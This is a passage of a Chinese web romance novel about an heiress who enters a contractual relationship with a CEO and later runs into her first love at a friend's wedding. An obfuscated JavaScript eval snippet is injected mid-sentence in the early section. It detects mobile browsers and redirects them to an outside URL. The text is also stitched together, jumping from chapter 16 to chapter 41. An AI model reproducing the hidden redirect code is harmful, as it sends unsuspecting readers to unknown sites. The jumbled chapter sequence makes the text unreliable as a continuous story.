许夏天噗嗤笑出声,“你就不能矜持点吗,我尊贵的大小姐?你不是最会摆谱子了么?就这么轻飘飘答应了?” “那不是的。”舒以宁挺了挺脊背,高贵冷艳地开口:“我当然是装成不大情愿,为了公司忍辱负重,不得不答应下他的条件。” 许夏天:“……” 舒以宁还没说,彼时商聿行见她这副反应,倒是还多说了一句—— “舒以宁,我想我有必要提醒你,我尚未提具体要求。” 这话的意思就是如果连前置条件都接受得勉强,那随之而来的苛责要求,她恐怕无力承受。 说实话,他说这句话的时候语调冷冷的,目光不偏不倚地在她身上落定,俊美无俦的脸庞端正得神圣不可侵犯。 简直,A爆了。 看得舒以宁心痒痒。 “哎,你说三天后他不会后悔吧?”舒以宁不无可惜地揣测,“他会不会只是想看我笑话?” 许夏天问:“你觉得商聿行像是这种人?” 舒以宁转念一想,也是,人商聿行要看她笑话可有的是机会,何必抬出自己来牵扯其中。毕竟,他要是不伸手援助,她说不定…… 舒以宁不敢再想下去,闷头喝了口苏打水。 “以宁?”许夏天看出她的反常,“你还好么?” 舒以宁:“没事。” “他跟你以前处过的男人不一样,你自己当心点。” 舒以宁莞尔一笑,一扫方才的异常,笑道:“我明白。各取所需罢了,难道你还怕我会爱上他?” 许夏天也笑了:“是是是,我们舒大小姐风华绝代,能被他拜倒在石榴裙下是他的福气!” “不错,这话我很满意。下回麻烦你当着商聿行商大总裁的面说一遍。” “既然问题迎刃而解了,我把王樾、楚楚喊出来一道喝酒?大家这几天都在为你担心,都做好一起养你的准备了。”许夏天半开玩笑道。 舒以宁深知朋友们的重情重义,也对此十分感动,但嘴巴上还是说着:“那你还是先养活你自己吧,那点短视频博主收益还不够买双好点的鞋子。” 许夏天主业是画手,闲来无事做做自媒体,日常发一些个人兴趣爱好方面短视频,没怎么接过广告,纯靠流量变现。 许夏天弯眸:“给你口饭吃就不错了,还想爸爸们给你买鞋子?想屁吃呢舒大小姐。看来还是得商聿行来,我们可供不起你纸醉金迷的大小姐生活。” 舒以宁:“庆祝的事等确定了再说,事以密成。” 许夏天想了想,说:“那我们去找邢南喝一个?” “不了吧。”舒以宁顿了顿,“我怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128785|180182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞见商聿行。” 许夏天深以为然地点点头:“也是,你还得装一会儿不情不愿才行,不然一个兴奋上头不就暴露了?到时候商聿行觉得他自己吃了亏,指不定还要怎样呢。” 舒以宁越想越觉得自己这回简直就是遇到了天上掉馅饼的好事,至今觉得不真实。“你让我掐你一把,看看会不会痛,我都感觉我是不是在做梦。” 许夏天不敢置信地瞪大眼眶:“你还是人吗舒以宁?” 说完,她眼疾手快地迅速往舒以宁藕段般白皙光洁的手臂上掐了一把。 舒以宁吃疼,轻轻呼出声。 许夏天笑眯眯说:“看来不是做梦,你可以放心了。” ** 与舒以宁的愉悦相同,商聿行也被她的迫不及待所取悦到了。 舒以宁佯装不情不愿、忍辱负重,但当他提到给她三天时间考虑时,她又生怕他后悔似的,一扫先前的踟蹰,当即表明她现在就愿意接受他的条件。 他没有答应。 他笃定她没有理由拒绝。 商聿行没有加班,五点半准时离开公司,回到了世纪城。 冰箱里有阿姨准备好的食材。 他不喜与旁人同住,因此,特意在这栋楼多置业了一套房子。平时除了收拾家务的阿姨以外,不大有人居住。 至于次顶层与顶层,则是他独居。 商聿行从冰箱中取出两块A5级和牛,丰富的大理石纹理在冷藏室的灯光中被镀上一层干净的白。 简单的做了分切,表面撒上海盐,两面煎制。 他有很长一段时间没有下过厨了,好在手艺不算生疏。 等舒以宁住过来,他可以做给她尝一尝。 ——商聿行心里边这样想着。 配酒选用了赤霞珠红葡萄酒,果香混着橡木桶的香味,口感浓郁复杂。 商聿行坐在餐桌一端开始享用的晚餐。 此刻餐桌的另一端只摆着牛排与红酒,但是不日,就会坐上一个人。 晚餐后,他给邢南打去了一通越洋电话。 新西兰比北京时间快四个小时,不过邢南还没有睡。 “我们在DriftawayQueenstown露营,这里的夜空太清透了,星光就好像要倾泻下来一样。等你谈恋爱了,一定要带女朋友来体验一下这里的星空。” 商聿行低低“嗯”了一声,说:“好的。” 邢南只当他是随口一应,倏然提议道:“哎,你觉得掌潇如何?要不……你们试着接触一下?” 商聿行漫不经心道:“你遇到她了?” 邢南:“同一个航班来的新西兰,她跟着她导师过来交涉一个项目。阿行,说实话,我感觉你们俩挺像的。她也是放着好好的大小姐不做,投身科研,依我看迟早能闯出一番新天地来。” 商聿行:“我做不了大小姐。” 邢南花了整整两分钟才反应过来商聿行讲了个冷笑话,“商大小姐?” 16. 第 16 章 电话那头有女孩子轻声撒娇的声音。 邢南笑道:“我女朋友吃醋了,问我是不是商业联姻对象给我打电话查岗。” 那女孩立马道:“邢南你别胡说,破坏我在你朋友心目中的形象。” 邢南笑得十分开怀,似是正在接受小女朋友的捶打,连声求饶:“好了好了,我知道错了,我的错我的错。” 搁以往,商聿行耐心有限,早就搁断电话了。 但这次,他饶有兴致地听着他们在电话那头的打情骂俏。 可惜邢南怕影响到他,很快就安抚好了小女朋友,转而问他:“找我有什么事吗?” 商聿行淡淡道:“新得了两瓶好年份的干红,等你回来聚一聚。” 邢南开玩笑道:“这敢情好啊!要不你先送R&F去,让我的人帮你保管?不然我怕等我回来你都喝光了!” “会给你留一口,挂了。” “哎,等等。” 商聿行:“嗯?” 邢南停顿了一会儿,低声问道:“阿行,你今天是不是心情不好?我陪你聊会儿?” 商聿行:“没有,挺好的。” 他本来想告诉邢南,他要和舒以宁在一块儿了。 但等电话一接通,他就已经按捺下了想与人分享的心情。 做回了那个喜怒不形于色的商聿行。 他已经习惯于藏匿某些情绪,就像他也早已习惯一个人度过漫长的夜晚。 邢南一言以蔽之:“你今天不太正常。” 商聿行笑了笑,反客为主:“打扰到你约会了?” 邢南敏锐道:“你好像……很想参与我的约会??” 他突然间福至心灵:“阿行!你不会谈恋爱了吧?” 以他对这个好友的了解,种种迹象表明—— 商!聿!行!有恋爱的倾向! 商聿行波澜不惊地说:“没有,你多虑了。好了,就不打扰你约会了,等你回来再一道喝酒。” 邢南刚要追问,另一边已经挂断了电话。 小女朋友已经躲进他怀里呢喃,他丢开手机换了个舒服的姿势抱着她继续美好的露营夜晚。 商聿行这边挂了电话,起身慢悠悠踱步走到餐桌另一侧,拿起桌上的红酒,轻轻抿了一口。 落地玻璃窗外,城市璀璨的夜景火树银花。 他靠着餐桌边沿,终究还是没能完全按捺住心情,垂眸给肖岳发了一条微信消息。 [下午的会谈很顺利。] 肖岳自然知道他指的是什么。见他破天荒发来这样的消息,肖岳审时度势,净拣些好听话:[都说酒后吐真言,舒小姐当初喝醉了酒才敢靠近您,由此可见舒小姐一直都是很喜欢您的。其他人都只是舒小姐的过客,在舒小姐心里,您肯定不一样。] 商聿行欲盖弥彰地回:[多嘴。] 肖岳其实有点想劝BOSS不要半场开香槟,但他不敢,只顺着商聿行回道:[总裁,是我的疏忽。一时手快,把明眼人都知道的事儿又打了一遍。] 商聿行何尝看不出肖岳是在捧着他说。 他略勾了勾唇角,放下手机,缓缓饮尽属于舒以宁的这一杯红酒。 ** 商聿行这边松了口,舒以宁自然就不用飞香港请老太太出山。 她尽快联系宋正阳讲了这个事情,以免他出手过快地去打扰到了老太太。 “我去商盛找商聿行谈了,他答应投资舒住。不是收购,是投资。只要他的资金一到位,股东们就会信心大增,供应商那边应该也不会再有太大的问题。” 资金到不到位并不是重点,重点是只要商聿行站到了舒住这一边。 那么,如今再有人妄想踩一脚舒住,都要掂量掂量是否值得为了这一时的威风压上和商聿行作对的风险了。 宋正阳一瞬不瞬地盯着她,大有一种她不说实话他就这么一直盯着的压迫感:“他提了什么条件?” 舒以宁想了想,换了一个比较委婉的说辞:“他让我待在他身边一段时间。” 宋正阳一时间没有说话,过了好一会儿,才微微叹道:“以宁,你何必做出这么大的牺牲。” 舒以宁立马纠正他:“牺牲?我其实还蛮喜欢商聿行的,你又不是不知道。这对于我来说简直就是个天大的好消息!” 她表现出来的兴奋十分显眼,实际上,她虽然确实有一种十分不真实的喜悦感,但言语间表达出来的还是夸张了许多。 没什么别的原因,单纯只是不想宋正阳为她担心。 宋正阳沉默许久,语重心长地说:“以宁,这是一条不归路,你要想清楚。” “商聿行,他不是你以前交往过的那些男朋友。” “到时候你后悔了,没人可以救得了你。” 舒以宁笑道:“我为什么要后悔?好啦,Raymond,我知道你是为了我好。我已经是个成年人了,我能为我自己的选择负责,这是我深思熟虑后的选择。” ** 商聿行给了舒以宁三天时间考虑,舒以宁不想一拖再拖,于是自动将当天也算了进去。她向西岸美术馆递了辞呈,馆长已经从别的渠道听说了她家里的事情,问她接下来有何打算。 她毕业后做了一年独立策展人,而后接下西岸美术馆伸出的橄榄枝,这么几年下来,说没感情是不可能的。 但舒以宁没有时间来感时伤怀,只笑说接下去需要将重心放到别的工作上了。 她与馆长聊完,就开着那辆跟商聿行发生过故事的mini,直奔商盛总部。 舒以宁没有提前预约,因此她到的时间并不赶巧,再过一刻钟商聿行就有 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江路南笑了笑:“Karina,我给你一个建议。” “啊?您说。” “多学习表情管理和语言艺术。” ** 总裁办内,舒以宁翻开第一页,只见抬头赫然写着六个大字: 《私人助理协议》。 好几页纸的协议,密密麻麻,罗列了数十条。 包括但不仅限于对她日常行为的规束。 舒以宁一条一条看下去。 第一条:乙方即日起切断一切原有两性关系,不得保留对第三人的生理或情感任一需求。 第二条:协议期间,乙方不得与任何男性建立甲方不允许的关系。本条如有违反,甲方有权撤回本协议,以及协议期间给予乙方的各方面支持。 第三条:即日起,乙方须搬入滨江世纪城,并应甲方要求随时调整住所位置,包括但不限于甲方其余房产、度假庄园、因公外出场所等。 …… 第七条:在任何场合,一旦甲方提出要求,乙方须配合甲方充当女伴,包括且不仅限于各类宴会、私人行程等场合。 第十二条:门禁时间为晚上十一点整,特殊情况除外。特殊情况由甲方定义,如遇意外,乙方须打报告申请,甲方有权驳回。 …… “怎么全是我要遵守的?”舒以宁捏着协议一角,抬眸提出异议:“权利和义务不对等,这也太严苛了。” 十一点? 开什么玩笑? 十一点不是夜生活才刚开始的时间点么? 出门还差不多,门禁?? 舒以宁深吸了一口气,将协议翻转过来放回桌上。 40-50 第41章 在场的都是家里从商的少爷千金,众人高中就读的建德国际是H市首屈一指的私立高中。建德国际学费高昂,对接的多为国外名校,基本是作为一个不放心孩子年纪太小出国、怕会鬼混的过渡平台。 在这上学的,非富即贵。 唯独高烨是个例外。 他是建德国际副校长的儿子,家中并没有亲人涉及商业领域。父亲行医,母亲做教育,他本人则拥有着十分优异的学习成绩,志愿者履历也足够得漂亮。 时至今日,高烨年纪轻轻,但已经被破格录取为NorthwesternUniversity物理系的副教授了。 听到秦晓说,舒以宁曾和高烨谈过恋爱,在座不知情的人倒是并不觉得意外。 毕竟,高烨此人,长得很帅,不单智商高,个子也很高。 只是他们先前竟然一点都没听说,也没人瞧出苗头来……难道说,他们俩是毕业后谈的恋爱? 阮明芜一脸诧然,看着舒以宁柔声问道:“以宁,这是……真的?” 舒以宁倒是没什么情绪变化,浅笑着“嗯”了一下。 阮明芜欲言又止了一番,直到有人问,她才为难道:“高烨正好有个国际学术会议在大湾区,我邀请了他参加明天的婚礼。” 许夏天从下面轻轻踢了舒以宁一下。 舒以宁不明所以,但阮明芜正抱着她手臂,她只好先转过头去笑着说:“没事,我前男友这么多,分手后也能是朋友。” 众人一时间都没有接话。 舒以宁这才发现她们脸色各异,她看向许夏天。 许夏天一脸无奈,正要开口,阮明芜抢先抱歉道:“以宁,高烨说想和你打个招呼……我刚才没想这么多,就带他过来了,你不介意吧?” 接着,身后传来一道熟悉的声音:“以宁,好久不见。” 轻柔缓慢,温文尔雅。 ** “……同样也是舒小姐的初恋。恋爱过程全程隐蔽,最后的分手原因也鲜为人知。至今,知道舒小姐与这位谈过一段的人都寥寥无几。阮小姐此番愿意透露,我想……是作为投名状。” 商聿行垂着黑眸,情绪尽数藏在眼睫之下。 江路南观察着他的脸色,斟字酌句:“年份久远,说不定只是青春懵懂时期的一段小插曲。舒小姐后续恋情中没有这种类型的对象,足见舒小姐对其并无太多感情。” 江路南从总裁办出来,遇上来做工作汇报的肖岳。 他好心提醒:“总裁现在可能需要一个人待一会儿,我劝你一个小时后再来。” 他与肖岳交情不错,说话也就没有旁的顾忌。商聿行今天的工作行程表七点半结束,但显然,他应该暂时不会走。 肖岳抬腕看了眼时间:“我在OA上申请的就是七点,你确定总裁不会……嗯?” 江路南耸肩,摊摊手。 肖岳懂了,笑了笑,问:“又和舒小姐有关?” 能透露的都已经透露了,具体,江路南只能笑着说:“无可奉告。” 肖岳最终还是敲门进去了。 他对分管事业部的近期工作就几个方面做了总结与反思,针对可能出现的疏漏,认错态度良好,并提出预期解决方案。 商聿行挑了几处数据给出要求,一丝不苟。 公事聊完,肖岳问:“晚上有事吗?一起喝一杯?” 商聿行淡声开口:“有约。” 搁往常,肖岳决计不会再问。 但此刻作为老早就洞察老板心思的人,他多问了一句:“与舒小姐?” 商聿行搁下钢笔,咯噔一声清脆的响,利落得令人心生胆寒。 肖岳感觉到了他的不耐与冷漠,空气仿佛都在刹那间被冻住了。 “总裁,我无意窥探,只是担心您。”肖岳顿了一顿,说:“如果您有需要用到我的地方,我一定万死不辞。不是站在上下级的立场。” 有件事,他二人之间彼此心知肚明,但从未宣之于口。 一个不说,一个不提,默契地当做没有发生过。 事实上,他们之间的关系也确实没有因为某个秘密的外泄而造成太大的实质性影响。无论当初还是现在,商聿行都理解肖岳的做法,肖岳也在尽自己所能维护商聿行。 今天站在这里,又一次直面“舒以宁”三个字,肖岳坦白:“在您身边做助理的日子里,我统共就只向董事长汇报过这么一桩大事。我承认,我当时认为这件事无关紧要,但又足够私密,能够让我在董事长问起来时有个交代。” 他看着商聿行喜怒不形于色的脸,停顿了一会儿,继续说下去:“总裁,我受董事长栽培,是董事长把我带在身边,一手教我成长。作为回报,我甘愿为商盛、为您付出我所能付出的一切。我也是这么做的,除了舒小姐的事上,我肖岳问心无愧。” 商聿行抬眸,淡淡看着肖岳。 他比任何人都清楚,他能在商盛首席执行官这个高位上站稳脚跟,自身的运筹帷幄固然至关重要,但是,也决计离不开肖岳的扶持与周旋。 肖岳没有背叛过他,他一直都相信。 所以,他才会在坐稳商盛CEO这把交椅后,把肖岳调去管南美的项目,不到一年的时候,又通过董事会把人调回来升任副总裁。 搁以前,商聿行想,他也不会在乎商砚廷知道他对舒以宁存在的那点小心思。 毕竟,他能很好地克制住他心底的那点悸动,多年来,无所动作。 可是现在不一样了。 “我不希望我父亲知道更多我和舒以宁的事,肖岳。”商聿行看着他,低着嗓音,语气轻缓浅淡。 口吻很淡,却掩盖不了暗藏的凌厉意味。 肖岳听出了他的警告。 肖岳眼睫半敛,沉默了良久。 最后,他说:“您和舒小姐的事情,我从此不再过问。” 商聿行抬了下唇角。 肖岳绽开笑,恢复他一如既往的笑脸迎人形象,“总裁,如果没有其他事,我就先出去了。” 在他转身的刹那间,商聿行的声音自他身后漫不经心地响起:“你知道最令人牵肠挂肚的是什么吗?” 肖岳转回身,从善如流地接上他的话:“是爱而不得。” 商聿行敛眸,长指随意把玩着桌面上的钢笔,整张轮廓在落日光影中平添几分落拓不羁。 倒是有了几分上流圈子矜贵公子哥的散漫气质。 “我被她得手了,肖岳。” 他好似并不为此发愁,只是平铺直叙地述说着一个结果。 一旦进入爱情的深渊,没有人可以独善其身。沦陷得早与晚,只是时间长短的问题。 商聿行也不例外。 肖岳思忖稍许,问道:“总裁,请恕我多嘴问一句,您对舒小姐的喜欢是否转换成了爱?” 半垂的睫毛掩盖了商聿行的眼神。 肖岳看他神色,就知道他不会回答了,于是不再等他开口:“舒小姐喜欢过很多人,兴许其中没有一个人在她这里获得了爱。爱是恒久的,不会随着荷尔蒙的消退而消失。” ** 夜风清寒。 天空中一轮半月高悬,一会儿被乌云遮住,一会儿又明晃晃地钻了出来。 阮明芜还有其他朋友需要招待,与他们喝了两杯,说几句场面话后就离开了。其余的人也都各找各的借口,三三俩俩离开,去了别处。 大伙儿心照不宣地将这一隅留出来供舒以宁与高烨叙旧。 为避嫌,舒以宁不可能单独与高烨坐在一块儿说话,好在许夏天寸步不离地跟着她。 楚思然也没走,饶有兴致地坐在一旁近距离围观。 高烨向她举了举酒杯,一派温润如玉:“以宁,我敬你一杯。” 舒以宁拢了拢肩上的羽毛披肩,没拿长桌上的高脚杯,淡淡一笑:“高教授客气了,不敢当。” 许夏天兢兢业业地缓和气氛,举起酒杯接话:“我替以宁喝,来!” 说完,她吨吨吨一口气干完大半杯葡萄汁。 ——这是阮明芜得知她容易醉酒,特意给她准备的优待。 高烨也干了杯中的红酒,朝许夏天微抬酒杯以作致意。他笑道:“这么多年过去了,你们的关系还是这么好。” 学生时代他与舒以宁谈恋爱那会儿,许夏天就已经是一根甩不掉的小尾巴了。他对许夏天的观感自然是不大好的,毕竟,当年分手这位可是出了不少力。 只是陈年旧事,应该只关当事人,不必牵扯旁的人。 高烨打了个响指,路过的侍应生过来为他添上红酒。 他再度向舒以宁举起酒杯,唇畔带着温柔的笑意:“还是要敬你一杯,老同学。” 舒以宁懒得与他纠缠,于是便拎起手边的高脚杯,与他轻轻一碰。 她看着他喝完,但连抿一下做做样子的兴趣都没有,径直将酒杯放回了原处。 高烨笑了笑,直入主题:“以宁,我听闻,你找了位高权重的男朋友。这次恐怕不好抽身。” 舒以宁笑笑,反客为主问他:“那你呢?这么多年,都是一个人?” 她猜得到他想说什么,无非是一些陈芝麻烂谷子的往事,她早就不放在心上了。 高烨意有所指地看着她,缓声道:“我这个人有个特点,就是专一。不像有的人,天生薄情。” 舒以宁也就不跟他假客气了,美艳不可方物的脸上露出一个意味深长的笑容来: “高烨,你知道吗?有些人要是不出现,倒是尚能在记忆里留下个瑕不掩瑜的痕迹。” 她摇了摇头,说话的口吻略带可惜:“你还真是没让我失望啊……变得这么的——” “mean。”—— 作者有话说:肖岳:总裁,您可以是舒小姐第一个爱的男人[亲亲][亲亲]当然,她对您可能也只是喜欢而已[奶茶][奶茶] 第42章 “你看到他那张五彩斑斓的脸没?得亏他教养还行,没当场发作。”许夏天想了想,扯出个反面教材来鞭尸:“要换成周嘉皓,指不定得闹成什么样。” 尽管对人心生厌恶,但舒以宁还是给出了一个客观的评价:“他这人涵养方面确实不错,大方得体,进退有度。” 被她当面这么怼了,也只是变了会儿脸色,没说出什么更不堪的话来。也没有为了找回面子,强行说点不着调的话。 许夏天点了点头表示同意,放轻声音猜测道:“我觉得他对你念念不忘,跟你以前那些前男友没什么两样。他又是个惯会装模作样的,今天刚知道你们是前任的人,八成在背地里嚼舌根是你辜负他呢。” 舒以宁云淡风轻道:“我渣女的风评早就传遍了,也不差他这一个。” 她并不在意这些细枝末节的小事。 楚思然姿态优雅地抿了口红酒。 许夏天义愤填膺:“楚楚,你怎么不说话?不应该跟我们一块儿骂他吗?” “过客而已,有必要对这种人浪费口舌?”楚思然用酒杯敲了敲舒以宁白皙透亮的手臂,提醒道:“今天在场的人不少,不出意外的话,这事儿很快就会传进商聿行耳朵里。你得找个机会跟他提前解释清楚,避免产生不必要的误会。” 舒以宁微微蹙眉:“这有什么好解释?我那么多ex,难不成还要一个个罗列出来说给他听?” 楚思然:“站在商聿行的视角,这可是你唯一隐瞒的一段感情。” 舒以宁正要开口反驳,楚思然迅速道:“你不用和我说你没有,我怎么认为不重要,重要的是——商聿行怎么认为。” 舒以宁冷静下来,好好想了一下,似乎确实是这么回事。 初恋,不为人知,人前从未提及。 一个分手后始终没有开始下一段感情,另一个分手后情史不断。 这么多BUFF叠加在一起,连舒以宁自个儿都要怀疑她与高烨是不是真的有着一段可歌可泣的过往故事了。 许夏天跟着分析了一会儿,赞同道:“楚楚说得有道理啊!以宁,要不你现在就打个电话给他,我们给你作证?” 舒以宁推开她凑过来的小脑袋,“用得着如此大动干戈?再说了,人商聿行说不定左耳朵进右耳多出,根本不在意这么点小事。我这时候巴巴地主动打电话过去解释,不显得我很没面子?” 楚思然看着眼前的傲娇大小姐,淡淡道:“随你,到时候哭的声音小一点就好,别吵着我。” 许夏天一下子来劲了,兴致勃勃问:“哭?你是说以宁会被商聿行按着,狠狠惩罚吗?” 楚思然:“……” 舒以宁:“……你够了。” 阮明芜的婚前派对十一点钟准时结束,作为准新娘,她需要有充足的休息时间来迎接明天的婚礼,以保持最好的状态。 “我哥来接我了,明天见啊。”楚思然挥挥手,率先坐上了表哥的路虎离开。 楚思然的外祖父母都是深圳人,她来深圳,没有不住过去陪陪老人家的道理。 许夏天要去趟深大找二次元好友面基唱K,前两天就和舒以宁讲过这件事情了。她坐上了阮明芜贴心为她安排好送她去深大的专车,挥挥手也走了。 舒以宁便和其余人结伴回酒店。 夜色如水,晚风轻轻荡漾。 一群人从车上下来,男男女女都有,皆身着华服,可以想象是刚从怎样一番衣香鬓影的聚会中退场离席。 车门打开,高跟鞋尖轻轻落地,纤细美丽的脚踝不堪一握。 舒以宁下了车,蓬松轻盈的大波浪弧度长发披散在肩头,极致的黑与羽毛披肩纯洁的白混杂在一起,优雅中带几分妩媚。 光影交错间,夜风扬起了她的长发,裙摆也被掀起细微的弧度,宛如肆意绽放的玫瑰。整座城市的喧嚣都成了陪衬,这一刻,没有人的目光能够从她身上移开。 而下一秒—— “商聿行!你怎么会来?” 舒以宁看到了不远处的男人,不期然会在这儿撞见他,不由惊喜轻呼。 她瞬间流露的欢欣很好地取悦了心有不虞的男人。 商聿行看着她一路踩着高跟鞋跑过来、在他眼皮子底下站定。他弯了弯唇角,伸手摸着她的长发,问道:“酒有没有喝多?” 酒店大堂水晶吊灯散发出冷色调的灯光,将她的肌肤照得白皙剔透。 舒以宁仰着瓷白的脸,一双眼眸乌黑明净:“没有,我都浅酌,而且我酒量可是很好的。” 她不忘追问:“你怎么会来?别和我说是突然有个工作在深圳啊。” 商聿行只短短几秒钟就想好说辞,他慢条斯理道:“阮明芜的婚礼请帖也送到了我的手上,本不想来,不过,惦记着你在。” 他这话说得相当有水平,既为自己的到来找到先决条件,再不动声色地引出,他愿意来受邀参加婚礼是因为她在。 给足了她颜面。 舒以宁不满嘀咕:“那我和你说的时候,你怎么不早说?” 商聿行坦坦荡荡:“底下人漏掉了请帖。” “……好吧。” 确实,请帖可能还没送到他跟前,就被江路南给筛选出去了。 这一会儿的工夫,众人已经围了上来,纷纷向商聿行问好。 商聿行绅士地回应了两句,顺势揽住舒以宁盈盈不堪一握的细腰,朝他们颔首道:“告辞。” 他都这么说了,自然不会再有人不分眼色地凑上去打扰。 商聿行来深圳是临时起意,洲际名声斐然的总统套房已经订了出去,只有间花园复式套房专门留着以备不时之需。理所当然,也就成为了他今晚的下榻之处。 早前阮明芜已经一手安排好了住宿,给舒以宁等人安排的都是酒店的豪华池景房。 从电梯里出来,舒以宁给他打预防针:“我晚上要和夏夏一起睡。” 商聿行从脑海中搜索了一下,想确认刚才大堂那群人中是否有许夏天的存在。 进了花园套房,舒以宁说:“夏夏有个玩了好几年的二次元基友,人家在深大读研呢,她面基去了,晚点儿会回来。” 商聿行松开她的腰际,伸出大掌问她要手机:“我和她说。” 舒以宁躲开去,扬声道:“闺蜜间的情谊可不是你一个臭男人可以破坏的。” 他轻而易举捉住了她,温热的唇瓣靠近她耳廓,嗓音磁性中带着欲:“待会儿还走得动,就放你回房间。” …… 一夜缱绻。 舒以宁醒来时,看到他正背着她穿衣。 肩宽腰窄,白色衬衣翻身而上,极佳的身材比例下,一双西裤包裹着的大长腿笔直修长。 舒以宁喜欢偷偷看着他,她没有吱声,安静地欣赏着眼前这副赏心悦目的画面。 等他有了往后侧头的迹象,她又立马闭上眼睛,假装自己还在睡觉。 商聿行穿戴完毕,转过身来垂眸看了她一会儿。他缓步走到床边,弯下腰摸了摸她的脸。 舒以宁感觉到他温热粗粝的指腹,摩挲间,她恍惚生出了一种岁月静好的错觉。 “知道你醒了,帮我打领带。”男人笑了一声,命令道。 舒以宁听他这么说,也就不再装睡。 她睁开眼,以迅雷不及掩耳之势翘起上半身,唇瓣靠近他的唇角落下轻轻一吻。 商聿行眼疾手快地伸出大掌按住她的后背,支撑着她的身体重量,不准她逃回被窝里去。 舒以宁盯着他棱角分明的下颚骨,目光下移,落定在凸起的性感喉结上。 商聿行笑了一声,看出她的意图:“敢动坏主意,今天你就去不了阮明芜的婚礼现场了。” 接着,便是短暂而缠绵的早安吻。 她帮他打了领带,他抱着她穿好了长裙。 商聿行下午有安排,舒以宁也早就与高中同学们约好了送阮明芜出门。阮明芜的婚礼仪式在晚上,下午则是出阁礼。 许夏天问舒以宁:“昨晚你们……嗯?” 她这个带着上翘音的“嗯”字极有魔性,问的时候也没有避着其他人,周围人顿时都起了八卦之心: “以宁,商聿行怎么突然会来深圳?专门为了你来的吗?” “哇,追爱追到深圳来了?” “都说小别胜新婚,看来商总是忍都忍不得小别呀!” 舒以宁打了许夏天肩膀一下,而后笑着对众人道:“别调侃我了,今天的主角是明芜。” 满头凤钗步摇的阮明芜掩唇一笑,莞尔道:“那能不能容我我这个新娘子来调侃两句?”她笑着问许夏天:“夏夏昨晚怎么睡的?没和以宁一块儿?哎呀呀,有的人可还是重色轻友呢。” 舒以宁笑骂了她两句,说:“我可是很记仇的,那待会儿我可要好好为难一下你和你先生了。” 正吵闹着,阮母按照风俗,进新房来给他们一众小辈送桂圆糖水蛋吃。 她听了几个小孩的聊天,笑道:“那明芜,晚上的捧花你记得朝以宁那儿扔。” 许夏天忙蹦跶过去,抱着阮母胳膊亲亲热热道:“不行,要扔给夏夏!夏夏都还没男朋友呢!” 在座的人顿时都笑了起来,转而开始你一句我一句地调侃许夏天。 ** 另一边,商聿行走进了会场。 高烨第四个上台,做为时三十分钟的特邀报告,就量子场论与人工智能大模型发展进行了前沿分享。 商聿行单手插兜站在后面,听了会儿,淡声给出一个客观评价:“年轻有为。” 江路南拿了一张安排表,上面罗列着时间与报告信息。报告人这一栏写明了研究方向,高烨后面跟着的研究方向为弦论和量子场论。 年仅二十五岁,就破格成为西北大学副教授,前途着实不可限量。 舒小姐的这位初恋前男友,个人能力相当强悍,气质温文尔雅,应当是她历任前男友中最高质量的一位了—— 当然,前提是他们总裁不会成为下一任的……前男友。 江路南偷偷觑了商聿行一眼,收起心中的小九九。 高烨的报告分享完,就到了茶歇时间。 商聿行缓步往里走,一路上收获了众多好奇的目光。他天生长了一副好皮囊,又穿着质感考究的西服。肩宽腰窄,身形颀长挺拔,身上更是有一股与生俱来的矜贵与稳重,很难不吸引旁人目光。 高烨下了台后刚与几位德高望重的前辈交谈完,转个身,就遇上了这个人群中难以令人忽视的男人。 下一秒,这个男人风轻云淡地看过来,眼神浅淡:“你好,商聿行。” 西装革履,沉稳卓然。 高烨一愣。 显然是没想到会在这样的学术场合与他相遇。 高烨先前从未见过商聿行,对他的印象仅仅停留在旁人只言片语的聊天中。头一次见到本尊,不成想,他竟然有着如此出众的样貌。 一身气度更是难得,甚至已经到了鹤立鸡群的地步。 无怪舒以宁曾经在他身上留下了酒后失态的笑话。 高烨很快就回过身来,往前伸出手,不卑不亢地笑道:“商总你好,鄙人高烨。” 商聿行抬手,与他轻轻一握。 在场的基本上都是学术界人士,对商聿行的身份有所好奇,但也只是远远观望。洲际有个副总在场,见到商聿行,当即对正寒暄着的大拿赔笑了句“失陪”,快步走过来打招呼。 路江南笑着应付了几句,将人打发走了。 商聿行只是淡淡看着高烨,全程没有与洲际的副总交流半句。 高烨笑了笑,终是先开口问道:“不知商总此番前来,可是有何需要高某效劳之处?” 昨晚他才在阮明芜的婚前派对上与舒以宁来了番久别重逢,今天,商聿行就出现在了他参与的学术会议上。 彼此之间,心如明镜。 商聿行轻启薄唇,惜字如金:“久仰,百闻不如一见。” 高烨笑着回道:“不敢当。” 商聿行看了一眼身旁的江路南。 江路南会意,立马从西服口袋中取出名片,双手递上。 他面露微笑:“高教授,这是我们商总的名片,敬请惠存。” 高烨接过名片,从爱马仕Bearn皮革翻盖包中拿出一张名片,递回给商聿行,笑道:“那也请商总惠存我的名片,高某不胜荣幸。” 商聿行勾了下唇角,没接。 众目睽睽之下,这就有点令人下不来台了。 商聿行不轻易给人难堪,今天他主动过来和高烨打招呼,又来了这么一出,摆明是来彰显所有权。 江路南心里边暗暗嘲笑他行径幼稚,表面上还得维护住不冷脸也不热络的专业助理形象。 气氛似乎都凝固住了。 高烨依旧不卑不亢地笑着,递名片的右手一直都没有伸回来。 商聿行勾唇看着他,如刀削般深刻的侧脸透着一股冷峻。 最终,还是陈院士看不下去,主动打破这边微妙的气氛。 “阿行,怎么有空过来?” 商聿行侧过身看向缓步走来的陈院士,同时脚步也迎了上去:“陈老。” 陈院士拍拍他的肩膀,矍铄的眸子中毫不掩饰地透露着对他的亲近:“不着急走的话,得空来家里吃饭怎样?让你嬢嬢多做两个拿手菜!” …… 高烨看了会儿商聿行与陈院士相谈甚欢的背影,收回目光,慢条斯理地将名片塞回皮包中。 学生们给他拿了一堆茶歇,叽叽喳喳讨论着哪个最好吃。 他被吵得有些头疼,无奈笑了笑,说:“Enjoybutnottoeattoomuch,please”—— 作者有话说:高烨退场,后面不会再出现~ 第43章 